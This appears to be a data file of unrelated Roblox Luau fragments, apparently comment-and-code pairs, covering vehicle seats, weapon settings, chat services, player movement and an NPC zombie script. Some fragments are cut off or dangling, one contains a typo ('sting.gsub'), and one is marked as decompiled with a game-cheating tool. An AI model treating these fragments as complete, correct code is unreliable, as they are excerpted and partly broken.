function VehicleSeating.SetBindableEventsFolder(bindables)
local BindableEventsFolder = bindables
--Detect force exit seat requests
BindableEventsFolder:FindFirstChild("ForceExitSeat").Event:Connect(function(seatName)
local chassis = PackagedVehicle:FindFirstChild("Chassis")
if chassis then
local seat = chassis:FindFirstChild(seatName)
if seat and seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
VehicleSeating.EjectCharacter(occupantCharacter)
end
end
end)
end
function VehicleSeating.AddSeat(seat, enterCallback, exitCallback)
local promptLocation = seat:FindFirstChild("PromptLocation")
if promptLocation then
local proximityPrompt = promptLocation:FindFirstChildWhichIsA("ProximityPrompt")
if proximityPrompt then
local vehicleObj = getVehicleObject()
if vehicleObj:GetAttribute("Health") <= 0 then return end
local function setCarjackPrompt()
if seat.Occupant and not carjackingEnabled(vehicleObj) then
proximityPrompt.Enabled = false
else
proximityPrompt.Enabled = true
end
end
seat:GetPropertyChangedSignal("Occupant"):connect(setCarjackPrompt)
vehicleObj:GetAttributeChangedSignal("AllowCarjacking"):Connect(setCarjackPrompt)
proximityPrompt.Triggered:connect(function(Player)
if seat then
if isFlipped(seat) then
FlipSeat(Player, seat)
elseif not seat:FindFirstChild("SeatWeld") or carjackingEnabled(vehicleObj) then
if Player.Character ~= nil then
local HRP = Player.Character:FindFirstChild("HumanoidRootPart")
local humanoid = Player.Character:FindFirstChild("Humanoid")
if HRP then
local Dist = (HRP.Position - seat.Position).magnitude
if Dist <= MAX_SEATING_DISTANCE then
if seat.Occupant then
local occupantCharacter = seat.Occupant.Parent
for _, weld in pairs(occupantCharacter.HumanoidRootPart:GetJoints()) do
if weld.Name == "SeatWeld" then
ExitSeat(Players:GetPlayerFromCharacter(occupantCharacter), occupantCharacter, weld.Part0, weld)
break
end
end
end
seat:Sit(humanoid)
if seat:FindFirstChild("DoorHinge") then
if seat.DoorHinge.ClassName ~= "HingeConstraint" then warn("Warning, door hinge is not actually a hinge!") end
--Record that a player is trying to get in the seat
SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1
--Activate the hinge
seat.DoorLatchWeld.Enabled = false
seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE
seat.DoorHinge.AngularSpeed = DOOR_OPEN_SPEED
playDoorSound(seat, "OpenClose")
wait(DOOR_OPEN_TIME)
--Check if anyone has interacted with the door within this time. If not, close it.
SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil
if SeatInteractionCount[seat] == nil then
seat.DoorHinge.TargetAngle = 0
-- Weld door shut when closed
while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do
wait()
end
seat.DoorLatchWeld.Enabled = true
end
end
end
end
end
end
end
end)
end
end
local effectsFolder = getEffectsFolderFromSeat(seat)
if effectsFolder then
-- set open/close Sound
local openclose = effectsFolder:FindFirstChild("OpenCloseDoor")
if openclose then
openclose:Clone().Parent = seat
end
end
local currentOccupant = nil
local occupantChangedConn = seat:GetPropertyChangedSignal("Occupant"):Connect(function()
if seat.Occupant then
if enterCallback then
currentOccupant = seat.Occupant
currentOccupant = Players:GetPlayerFromCharacter(currentOccupant.Parent) or currentOccupant
enterCallback(currentOccupant, seat)
end
elseif exitCallback then
exitCallback(currentOccupant, seat)
currentOccupant = nil
end
end)
--Clean up after the seat is destroyed
seat.AncestryChanged:connect(function()
if not seat:IsDescendantOf(game) then
occupantChangedConn:Disconnect()
end
end)
end
return VehicleSeating
|
-- child.C0 = CFrame.new(0,-0.4,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Occupied.Value = true
if script.Parent.Parent.Parent.Parent.DriveSeat.Values.Seatlock.Value == true then
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
end
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("Screen") then
player.PlayerGui:FindFirstChild("Screen"):Destroy()
script.Parent.Occupied.Value = false
end
end
end
end)
|
-- Text animation default properties
|
-- character appearance timing:
defaults.AnimateStepTime = 0 -- Seconds between newframes
defaults.AnimateStepGrouping = "Letter" -- "Word" or "Letter" or "All"
defaults.AnimateStepFrequency = 4 -- How often to step, 1 is all, 2 is step in pairs, 3 is every three, etc.
-- yielding:
defaults.AnimateYield = 0 -- Set this markup to yield
-- entrance style parameters:
defaults.AnimateStyle = "Appear"
defaults.AnimateStyleTime = 0.5 -- How long it takes for an entrance style to fully execute
defaults.AnimateStyleNumPeriods = 3 -- Used differently for each entrance style
defaults.AnimateStyleAmplitude = 0.5 -- Used differently for each entrance style
|
--[=[
Creates a scoped service bag, where services within the scope will not
be accessible outside of the scope.
@return ServiceBag
]=]
|
function ServiceBag:CreateScope()
local provider = ServiceBag.new(self)
self:_addServiceType(provider)
-- Remove from parent provider
self._maid[provider] = provider._destroying:Connect(function()
self._maid[provider] = nil
self._services[provider] = nil
end)
return provider
end
|
--// Bullet Physics
|
BulletPhysics = Vector3.new(0,55,0); -- Drop fixation: Lower number = more drop
BulletSpeed = 2953; -- Bullet Speed
BulletSpread = 0; -- How much spread the bullet has
ExploPhysics = Vector3.new(0,20,0); -- Drop for explosive rounds
ExploSpeed = 600; -- Speed for explosive rounds
BulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)
|
-- Cast Ray
|
castray.OnServerEvent:Connect(function(fired, ray, position)
local beam = Instance.new("Part")
beam.BrickColor = BrickColor.new("Neon orange")
beam.FormFactor = Enum.FormFactor.Custom
beam.Material = Enum.Material.Neon
beam.Transparency = 0
beam.Anchored = true
beam.Locked = true
beam.CanCollide = false
beam.Parent = workspace
local distance = (tool:WaitForChild("Hole").CFrame.p - position).Magnitude
beam.Size = Vector3.new(0.1, 0.1, distance)
beam.CFrame = CFrame.new(tool:WaitForChild("Hole").CFrame.p, position) * CFrame.new(0, 0, -distance / 2)
game:GetService("Debris"):AddItem(beam, 0.025)
end)
|
-- Sounds
|
local footstepsSound = rootPart:WaitForChild("Footsteps")
footstepsSound.Volume = 0.2
|
--//Logic
|
game.Workspace.Changed:connect(function(p) -- Feels a bit hacky. Updates the Camera and Blur if the Camera object is changed.
if p == "CurrentCamera" then
Camera = game.Workspace.CurrentCamera
if Blur and Blur.Parent then
Blur.Parent = Camera
else
Blur = Instance.new("BlurEffect",Camera)
end
end
end)
game:GetService("RunService").Heartbeat:connect(function()
if not Blur or Blur.Parent == nil then Blur = Instance.new("BlurEffect",Camera) end -- Feels a bit hacky. Creates a new Blur if it is destroyed.
local magnitude = (Camera.CFrame.lookVector - Last).magnitude -- How much the camera has rotated since the last frame
Blur.Size = math.abs(magnitude)*BlurAmount -- Set the blur size
Last = Camera.CFrame.lookVector -- Update the previous camera rotation
end)
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new()
local obj = setmetatable({}, methods)
obj.Destroyed = false
local BaseFrame, Scroller = CreateGuiObjects()
obj.GuiObject = BaseFrame
obj.Scroller = Scroller
obj.MessageObjectLog = {}
obj.Name = "MessageLogDisplay"
obj.GuiObject.Name = "Frame_" .. obj.Name
obj.CurrentChannelName = ""
obj.GuiObject.Changed:connect(function(prop)
if (prop == "AbsoluteSize") then
spawn(function() obj:ReorderAllMessages() end)
end
end)
return obj
end
return module
|
--Enjoy ;) dont change anything. I didnt script this so i dont know if you can change but its adviced not 2
| |
--[[ Public API ]]
|
--
function KeyboardMovement:Enable()
if not UserInputService.KeyboardEnabled then
return
end
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local updateMovement = function()
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
forwardValue = -1
elseif inputState == Enum.UserInputState.End then
forwardValue = 0
end
updateMovement()
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
backwardValue = 1
elseif inputState == Enum.UserInputState.End then
backwardValue = 0
end
updateMovement()
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
leftValue = -1
elseif inputState == Enum.UserInputState.End then
leftValue = 0
end
updateMovement()
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.Begin then
rightValue = 1
elseif inputState == Enum.UserInputState.End then
rightValue = 0
end
updateMovement()
end
local jumpFunc = function(actionName, inputState, inputObject)
MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin)
end
-- TODO: remove up and down arrows, these seem unnecessary
ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward)
ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward)
ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft)
ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight)
ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump)
-- TODO: make sure we check key state before binding to check if key is already down
local function onFocusReleased()
local humanoid = getHumanoid()
if humanoid then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0, 0, 0)
forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0
MasterControl:SetIsJumping(false)
end
end
local function onTextFocusGained(textboxFocused)
MasterControl:SetIsJumping(false)
end
SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed)
if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then
local humanoid = getHumanoid()
if humanoid and (humanoid.Sit or humanoid.PlatformStand) then
MasterControl:DoJump()
end
end
end)
TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased)
TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained)
-- TODO: remove pcall when API is live
WindowFocusReleasedCn = UserInputService.WindowFocused:connect(onFocusReleased)
end
function KeyboardMovement:Disable()
ContextActionService:UnbindAction("forwardMovement")
ContextActionService:UnbindAction("backwardMovement")
ContextActionService:UnbindAction("leftMovement")
ContextActionService:UnbindAction("rightMovement")
ContextActionService:UnbindAction("jumpAction")
if SeatJumpCn then
SeatJumpCn:disconnect()
SeatJumpCn = nil
end
if TextFocusReleasedCn then
TextFocusReleasedCn:disconnect()
TextFocusReleasedCn = nil
end
if TextFocusGainedCn then
TextFocusGainedCn:disconnect()
TextFocusGainedCn = nil
end
if WindowFocusReleasedCn then
WindowFocusReleasedCn:disconnect()
WindowFocusReleasedCn = nil
end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
return KeyboardMovement
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = true
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 6
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
-- ============================================
-- Falling Objects
|
local cube =
{
MODEL = ServerStorage["Cube"],
DAMAGE = 1,
NUMBER_PER_MINUTE = 20,
CLEANUP_DELAY_IN_SECONDS = 5
}
table.insert(fallingStuffTable, cube)
|
--// Hash: f6f8a53b8fb53b6bb213ce5c450d251c38c486f5a6d02cfc39a92f834893d8671f02b6efe37bb03b1040d059682630da
-- Decompiled with the Synapse X Luau decompiler.
|
local u1 = require(script.Parent:WaitForChild("getLastWordFromPascalCase"));
local u2 = {
Hand = "Arm",
Foot = "Leg"
};
function getLimbType(p1)
local v1 = u1(p1);
return u2[v1] and v1;
end;
function getLimbs(p2, p3)
local u3 = {};
local u4 = {};
local u5 = {};
local function u6(p4, p5)
if p4.Name ~= "HumanoidRootPart" then
local v2 = getLimbType(p4.Name);
u3[v2] = u3[v2] or {};
table.insert(u3[v2], p4);
local v3 = u3[v2];
if v2 ~= p5 then
u4[v2] = u4[v2] or {};
if p5 then
u4[v2][p5] = true;
end;
table.insert(u5, {
Part = p4,
Type = v2
});
p5 = v2;
end;
end;
local v4, v5, v6 = pairs(p4:GetChildren());
while true do
local v7, v8 = v4(v5, v6);
if v7 then
else
break;
end;
v6 = v7;
if v8:isA("Attachment") then
if p3[v8.Name] then
local l__Parent__9 = p3[v8.Name].Attachment1.Parent;
if l__Parent__9 then
if l__Parent__9 ~= p4 then
u6(l__Parent__9, p5);
end;
end;
end;
end;
end;
end;
u6(p2);
return u3, u5, u4;
end;
function createNoCollision(p6, p7)
local v10 = Instance.new("NoCollisionConstraint");
v10.Name = p6.Name .. "<->" .. p7.Name;
v10.Part0 = p6;
v10.Part1 = p7;
return v10;
end;
return function(p8, p9)
local v11 = Instance.new("Folder");
v11.Name = "NoCollisionConstraints";
local v12, v13, v14 = getLimbs(p9, p8);
for v15 = 1, #v13 do
for v16 = v15 + 1, #v13 do
local l__Type__17 = v13[v15].Type;
local l__Type__18 = v13[v16].Type;
if not v14[l__Type__17][l__Type__18] and not v14[l__Type__18][l__Type__17] then
createNoCollision(v13[v15].Part, v13[v16].Part).Parent = v11;
end;
end;
end;
for v19, v20 in pairs(v12) do
for v21, v22 in pairs(v14[v19]) do
for v23, v24 in pairs(v12[v21]) do
for v25, v26 in pairs(v20) do
createNoCollision(v26, v24).Parent = v11;
end;
end;
end;
end;
return v11;
end;
|
-- Set the timezone to CET (UTC+1)
|
local timezone = 1 * 60 * 60
|
-- Create superfolder for all particle folders
|
local PlayerGui = Players.LocalPlayer:WaitForChild("PlayerGui")
local MainFolder = PlayerGui:FindFirstChild(Constants.ARCS_MAIN_FOLDER)
if not MainFolder then
MainFolder = Instance.new("ScreenGui")
MainFolder.Name = Constants.ARCS_MAIN_FOLDER
MainFolder.Parent = PlayerGui
end
MainFolder.ResetOnSpawn = false
|
--Main Control------------------------------------------------------------------------
|
Walk = script.Parent.Walk.Lamp
DontWalk = script.Parent.DontWalk.Lamp
DWalk = script.Parent.Walk.DynamicLight
DDontWalk = script.Parent.DontWalk.DynamicLight
while true do
wait()
if Signal.Value == 0 then
Walk.Enabled = false
DontWalk.Enabled = false
DWalk.Enabled = false
DDontWalk.Enabled = false
elseif Signal.Value == 1 then
Walk.Enabled = true
DontWalk.Enabled = false
DWalk.Enabled = true
DDontWalk.Enabled = false
elseif Signal.Value == 2 then
while true do
Walk.Enabled = false
DontWalk.Enabled = true
DWalk.Enabled = false
DDontWalk.Enabled = true
wait(.5)
DontWalk.Enabled = false
DDontWalk.Enabled = false
wait(.5)
if Signal.Value == 0 then break end
if Signal.Value == 1 then break end
if Signal.Value == 3 then break end
end
elseif Signal.Value == 3 then
Walk.Enabled = false
DontWalk.Enabled = true
DWalk.Enabled = false
DDontWalk.Enabled = true
end
end
|
-- Parts
|
local Baskets = script.Parent:WaitForChild("Baskets")
local AllBaskets = Baskets:GetChildren()
local BasketSeats = {}
|
--Zombie artificial stupidity script
|
sp=script.Parent
lastattack=0
nextrandom=0
nextsound=0
nextjump=0
chasing=false
variance=4
damage=15
attackrange=4.5
sightrange=999--60
runspeed=17
wonderspeed=10
healthregen=false
colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"}
function raycast(spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent)
if hit2~=nil and pos2 then
if hit2.Parent==script.Parent and hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" or hit2.Parent:IsA("Hat") or hit2.Parent:IsA("Tool") or (hit2.Parent:FindFirstChild("Humanoid") and hit2.Parent:FindFirstChild("TEAM") and hit2.Parent:FindFirstChild("TEAM").Value == script.Parent.TEAM.Value) or (not hit2.Parent:FindFirstChild("Humanoid") and hit2.CanCollide==false) then
local currentdist=currentdist-(pos2-spos).magnitude
return raycast(pos2,vec,currentdist)
end
end
return hit2,pos2
end
function waitForChild(parent,childName)
local child=parent:findFirstChild(childName)
if child then return child end
while true do
child=parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
|
-- Create lookup table
|
for k, v in pairs(Keymap) do
if type(v) == "table" then
for _, data in ipairs(v) do
if type(data) == "table" then
_inputData[data.KeyCode] = data
end
end
end
end
|
--[[BodyColors.HeadColor=BrickColor.new("Grime")
local randomcolor1=colors[math.random(1,#colors)]
BodyColors.TorsoColor=BrickColor.new(randomcolor1)
BodyColors.LeftArmColor=BrickColor.new(randomcolor1)
BodyColors.RightArmColor=BrickColor.new(randomcolor1)
local randomcolor2=colors[math.random(1,#colors)]
BodyColors.LeftLegColor=BrickColor.new(randomcolor2)
BodyColors.RightLegColor=BrickColor.new(randomcolor2)]]
|
function onRunning(speed)
if speed>0 then
pose="Running"
else
pose="Standing"
end
end
function onDied()
pose="Dead"
end
function onJumping()
pose="Jumping"
end
function onClimbing()
pose="Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function moveJump()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle=3.14
LeftShoulder.DesiredAngle=-3.14
RightHip.DesiredAngle=0
LeftHip.DesiredAngle=0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity =0.5
RightShoulder.DesiredAngle=3.14
LeftShoulder.DesiredAngle=-3.14
RightHip.DesiredAngle=0
LeftHip.DesiredAngle=0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle=3.14 /2
LeftShoulder.DesiredAngle=-3.14 /2
RightHip.DesiredAngle=3.14 /2
LeftHip.DesiredAngle=-3.14 /2
end
function animate(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Seated") then
moveSit()
return
end
local climbFudge = 0
if (pose == "Running") then
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
amplitude = 1
frequency = 9
elseif (pose == "Climbing") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
amplitude = 1
frequency = 9
climbFudge = 3.14
else
amplitude = 0.1
frequency = 1
end
desiredAngle = amplitude * math.sin(time*frequency)
if not chasing and frequency==9 then
frequency=4
end
if chasing then
--[[RightShoulder.DesiredAngle=math.pi/2
LeftShoulder.DesiredAngle=-math.pi/2
RightHip.DesiredAngle=-desiredAngle*2
LeftHip.DesiredAngle=-desiredAngle*2]]
else
RightShoulder.DesiredAngle=desiredAngle + climbFudge
LeftShoulder.DesiredAngle=desiredAngle - climbFudge
RightHip.DesiredAngle=-desiredAngle
LeftHip.DesiredAngle=-desiredAngle
end
end
function attack(time,attackpos)
if time-lastattack>=0.25 then
local hit,pos=raycast(Torso.Position,(attackpos-Torso.Position).unit,attackrange)
if hit and hit.Parent~=nil then
local h=hit.Parent:FindFirstChild("Humanoid")
local TEAM=hit.Parent:FindFirstChild("TEAM")
if h and TEAM and TEAM.Value~=sp.TEAM.Value then
local creator=sp:FindFirstChild("creator")
if creator then
if creator.Value~=nil then
if creator.Value~=game.Players:GetPlayerFromCharacter(h.Parent) then
for i,oldtag in ipairs(h:GetChildren()) do
if oldtag.Name=="creator" then
oldtag:remove()
end
end
creator:clone().Parent=h
else
return
end
end
end
if Anim then Anim:Play(nil,nil,1.5) end
h:TakeDamage(damage)
hitsound.Volume=1
hitsound.Pitch=.75+(math.random()*.5)
hitsound:Play()
--[[if RightShoulder and LeftShoulder then
RightShoulder.CurrentAngle=0
LeftShoulder.CurrentAngle=0
end]]
end
end
lastattack=time
end
end
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Jumping:connect(onJumping)
Humanoid.Climbing:connect(onClimbing)
Humanoid.GettingUp:connect(onGettingUp)
Humanoid.FreeFalling:connect(onFreeFall)
Humanoid.FallingDown:connect(onFallingDown)
Humanoid.Seated:connect(onSeated)
Humanoid.PlatformStanding:connect(onPlatformStanding)
function populatehumanoids(mdl)
if mdl.ClassName=="Humanoid" then
if mdl.Parent:FindFirstChild("TEAM") and mdl.Parent:FindFirstChild("TEAM").Value~=sp.TEAM.Value then
table.insert(humanoids,mdl)
end
end
for i2,mdl2 in ipairs(mdl:GetChildren()) do
populatehumanoids(mdl2)
end
end
|
--------RIGHT DOOR --------
|
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
--////////////////////////////// Methods
--//////////////////////////////////////
|
local methods = {}
methods.__index = methods
function methods:AddChannel(channelName, autoJoin)
if (self.ChatChannels[channelName:lower()]) then
error(string.format("Channel %q alrady exists.", channelName))
end
local function DefaultChannelCommands(fromSpeaker, message)
if (message:lower() == "/leave") then
local channel = self:GetChannel(channelName)
local speaker = self:GetSpeaker(fromSpeaker)
if (channel and speaker) then
if (channel.Leavable) then
speaker:LeaveChannel(channelName)
speaker:SendSystemMessage(
sting.gsub(
ChatLocalization:Get(
"GameChat_ChatService_YouHaveLeftChannel",
string.format("You have left channel '%s'", channelName)
),
"{RBX_NAME}",channelName),
"System"
)
else
speaker:SendSystemMessage(ChatLocalization:Get("GameChat_ChatService_CannotLeaveChannel","You cannot leave this channel."), channelName)
end
end
return true
end
return false
end
local channel = ChatChannel.new(self, channelName)
self.ChatChannels[channelName:lower()] = channel
channel:RegisterProcessCommandsFunction("default_commands", DefaultChannelCommands, ChatConstants.HighPriority)
local success, err = pcall(function() self.eChannelAdded:Fire(channelName) end)
if not success and err then
print("Error addding channel: " ..err)
end
if autoJoin ~= nil then
channel.AutoJoin = autoJoin
if autoJoin then
for _, speaker in pairs(self.Speakers) do
speaker:JoinChannel(channelName)
end
end
end
return channel
end
function methods:RemoveChannel(channelName)
if (self.ChatChannels[channelName:lower()]) then
local n = self.ChatChannels[channelName:lower()].Name
self.ChatChannels[channelName:lower()]:InternalDestroy()
self.ChatChannels[channelName:lower()] = nil
local success, err = pcall(function() self.eChannelRemoved:Fire(n) end)
if not success and err then
print("Error removing channel: " ..err)
end
else
warn(string.format("Channel %q does not exist.", channelName))
end
end
function methods:GetChannel(channelName)
return self.ChatChannels[channelName:lower()]
end
function methods:AddSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
self.Speakers[speakerName:lower()] = speaker
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
return speaker
end
function methods:InternalUnmuteSpeaker(speakerName)
for channelName, channel in pairs(self.ChatChannels) do
if channel:IsSpeakerMuted(speakerName) then
channel:UnmuteSpeaker(speakerName)
end
end
end
function methods:RemoveSpeaker(speakerName)
if (self.Speakers[speakerName:lower()]) then
local n = self.Speakers[speakerName:lower()].Name
self:InternalUnmuteSpeaker(n)
self.Speakers[speakerName:lower()]:InternalDestroy()
self.Speakers[speakerName:lower()] = nil
local success, err = pcall(function() self.eSpeakerRemoved:Fire(n) end)
if not success and err then
print("Error removing speaker: " ..err)
end
else
warn("Speaker \"" .. speakerName .. "\" does not exist!")
end
end
function methods:GetSpeaker(speakerName)
return self.Speakers[speakerName:lower()]
end
function methods:GetChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if (not channel.Private) then
table.insert(list, channel.Name)
end
end
return list
end
function methods:GetAutoJoinChannelList()
local list = {}
for i, channel in pairs(self.ChatChannels) do
if channel.AutoJoin then
table.insert(list, channel)
end
end
return list
end
function methods:GetSpeakerList()
local list = {}
for i, speaker in pairs(self.Speakers) do
table.insert(list, speaker.Name)
end
return list
end
function methods:SendGlobalSystemMessage(message)
for i, speaker in pairs(self.Speakers) do
speaker:SendSystemMessage(message, nil)
end
end
function methods:RegisterFilterMessageFunction(funcId, func, priority)
if self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' already exists", funcId))
end
self.FilterMessageFunctions:AddFunction(funcId, func, priority)
end
function methods:FilterMessageFunctionExists(funcId)
return self.FilterMessageFunctions:HasFunction(funcId)
end
function methods:UnregisterFilterMessageFunction(funcId)
if not self.FilterMessageFunctions:HasFunction(funcId) then
error(string.format("FilterMessageFunction '%s' does not exists", funcId))
end
self.FilterMessageFunctions:RemoveFunction(funcId)
end
function methods:RegisterProcessCommandsFunction(funcId, func, priority)
if self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
end
self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end
function methods:ProcessCommandsFunctionExists(funcId)
return self.ProcessCommandsFunctions:HasFunction(funcId)
end
function methods:UnregisterProcessCommandsFunction(funcId)
if not self.ProcessCommandsFunctions:HasFunction(funcId) then
error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
end
self.ProcessCommandsFunctions:RemoveFunction(funcId)
end
local LastFilterNoficationTime = 0
local LastFilterIssueTime = 0
local FilterIssueCount = 0
function methods:InternalNotifyFilterIssue()
if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then
FilterIssueCount = 0
end
FilterIssueCount = FilterIssueCount + 1
LastFilterIssueTime = tick()
if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then
if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then
LastFilterNoficationTime = tick()
local systemChannel = self:GetChannel("System")
if systemChannel then
systemChannel:SendSystemMessage(
ChatLocalization:Get(
"GameChat_ChatService_ChatFilterIssues",
"The chat filter is currently experiencing issues and messages may be slow to appear."
),
errorExtraData
)
end
end
end
end
local StudioMessageFilteredCache = {}
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new(vChatService, name, welcomeMessage, channelNameColor)
local obj = setmetatable({}, methods)
obj.ChatService = vChatService
obj.Name = name
obj.WelcomeMessage = welcomeMessage or ""
obj.GetWelcomeMessageFunction = nil
obj.ChannelNameColor = channelNameColor
obj.Joinable = true
obj.Leavable = true
obj.AutoJoin = false
obj.Private = false
obj.Speakers = {}
obj.Mutes = {}
obj.MaxHistory = 200
obj.HistoryIndex = 0
obj.ChatHistory = {}
obj.FilterMessageFunctions = Util:NewSortedFunctionContainer()
obj.ProcessCommandsFunctions = Util:NewSortedFunctionContainer()
-- Make sure to destroy added binadable events in the InternalDestroy method.
obj.eDestroyed = Instance.new("BindableEvent")
obj.eMessagePosted = Instance.new("BindableEvent")
obj.eSpeakerJoined = Instance.new("BindableEvent")
obj.eSpeakerLeft = Instance.new("BindableEvent")
obj.eSpeakerMuted = Instance.new("BindableEvent")
obj.eSpeakerUnmuted = Instance.new("BindableEvent")
obj.MessagePosted = obj.eMessagePosted.Event
obj.SpeakerJoined = obj.eSpeakerJoined.Event
obj.SpeakerLeft = obj.eSpeakerLeft.Event
obj.SpeakerMuted = obj.eSpeakerMuted.Event
obj.SpeakerUnmuted = obj.eSpeakerUnmuted.Event
obj.Destroyed = obj.eDestroyed.Event
return obj
end
return module
|
-- ROBLOX MOVED: expect/jasmineUtils.lua
|
local function isAsymmetric(obj: any)
if toJSBoolean(obj) and typeof(obj) == "table" then
local ok, val = pcall(function()
return obj.asymmetricMatch
end)
if ok and isA("function", val) then
return true
end
end
return false
end
|
--[[Dependencies]]
|
local player = game.Players.LocalPlayer
local mouse = player:GetMouse()
local UserInputService = game:GetService("UserInputService")
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local Stats = car.Stats
|
--If necessary change the last word to:
|
--TurnSignal1
--TurnSignal1a
--TurnSignal2
--TurnSignal2a
|
--[[
Provides functions for manipulating immutable data structures.
]]
|
